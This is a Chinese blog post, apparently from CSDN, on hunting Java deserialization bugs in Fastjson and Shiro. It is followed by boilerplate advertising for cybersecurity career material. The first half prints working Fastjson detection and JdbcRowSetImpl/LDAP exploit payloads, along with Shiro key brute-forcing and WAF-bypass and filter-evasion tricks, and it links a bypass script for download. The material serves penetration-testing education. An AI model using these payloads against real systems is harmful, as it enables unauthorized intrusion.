Java反序列化漏洞黑盒挖掘思路-上篇
java反序列化分为原生反序列化和组件反序列化,组件反序列化有大家熟知的fastjson反序列化,shiro反序列化漏洞等,这篇文章分享一下自己的反序列化漏洞黑盒挖掘思路。
以在实战中挖到的反序列化漏洞举例,网站中反序列化漏洞数量大概为:fastjson>shiro>=jdbc>XStream>原生反序列化
一、fastjson反序列化漏洞
1.1判断链子
fastjson反序列化漏洞主要看数据包是否以json传输,如果是json传输,就可以尝试打一下payload。
可以先删除请求数据包的 } ,查看报错,报错如果是这样的,基本就可以判断使用了fastjson组件
直接盲打可以打这个payload,如果存在fastjson1.2.24-1.2.83,就会收到dnslog请求
{"zero":{"@type":"java.net.Inet4Address","val":"xxx"}}判断fastjson版本
{"@type":"java.lang.AutoCloseable"a["test":1]如果版本在1.2.47以下,出网,可以打这条通杀链子
{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}如果服务器不出网,无法收到dnslog请求,可以直接跑@type的类,查看报错回显长度判断是否使用了fastjson,在之前写的文章也有提及
如果存在这几个类,可以直接打不出网利用链
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource这些链子可以用Java Chains工具生成。c3p0二次反序列化链,因为是fastjson反序列化漏洞,那就肯定会有fastjson链。
c3p0二次反序列化链:
二、shiro反序列化漏洞
2.1waf绕过:
请求数据包中存在Cookie: rememberMe就可以尝试爆破一下密钥
如果遇到waf,可以尝试在remember添加脏数据绕过
在remember插入@$`_-等符号,不影响链子使用
我写了一个脚本给remember添加脏数据绕过waf爆破密钥
https://pan.baidu.com/s/1IqJdYSJpi1lpJxyeRFgkEw?pwd=y7wd 提取码: y7wd也可以把数据包改成post,添加脏数据绕过,例如我这里添加了test参数,塞入4mb脏数据
2.2有key无链:
遇到有key无链的情况,一般来说shiro基本会有cb链的,因为shiro组件默认就会导入cb链的依赖,如果代码存在一些过滤,可以尝试打其他链子。
也可以用刚才的Java Chains工具,请求dnslog就可以判断有什么链子。之前写的文章也有提及。
不出网可以通过延时来判断是否存在这条链子
有key无链也可以尝试JRMP二次反序列化链。如果过滤器只是简单地检查序列化数据里有没有“java.lang.Runtime”或“ProcessBuilder”这种危险类名,那么JRMP二次反序列化就能绕过。(这里的复现图以原生反序列化举例)
像目前比较火热的开发岗位实属网络安全,毕竟国家网络安全法也出台了,网络安全等级保护2.0等合规要求也出来了。
网络安全对于大部分政企单位来说,已经从[可选项]变成了[必选项]。在以前,很多政企单位在进行 IT 部门及岗位划分时,只有研发和运维部门,安全人员直接归属到基础运维部;而现在,越来越多单位为了满足国家安全法律法规的要求,必须成立独立的网络安全部门,拉拢各方安全人才、组建 SRC(安全响应中心),为自己的产品、应用、数据保卫护航。
根据国家发布的《网络安全人才实战能力白皮书》数据显示,目前中国网络安全人才供应严重匮乏,每年高校安全专业培养人才仅有3万余人,而网络安全岗位缺口在2027年将达327万,缺口高达95%。
了解网络安全,首先要搞清楚下面这些前提
- 网络安全到底包含哪些技术?是否需要会编程?
- 网络安全行业有哪些职业方向?“我”该如何选择?
- 网络安全的职业发展和成长路线是什么?
如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析
一、网络安全(黑客)学习路线
网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网络安全教程视频
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
三、网络安全CTF实战案例
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
四、网络安全面试题
最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。
网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】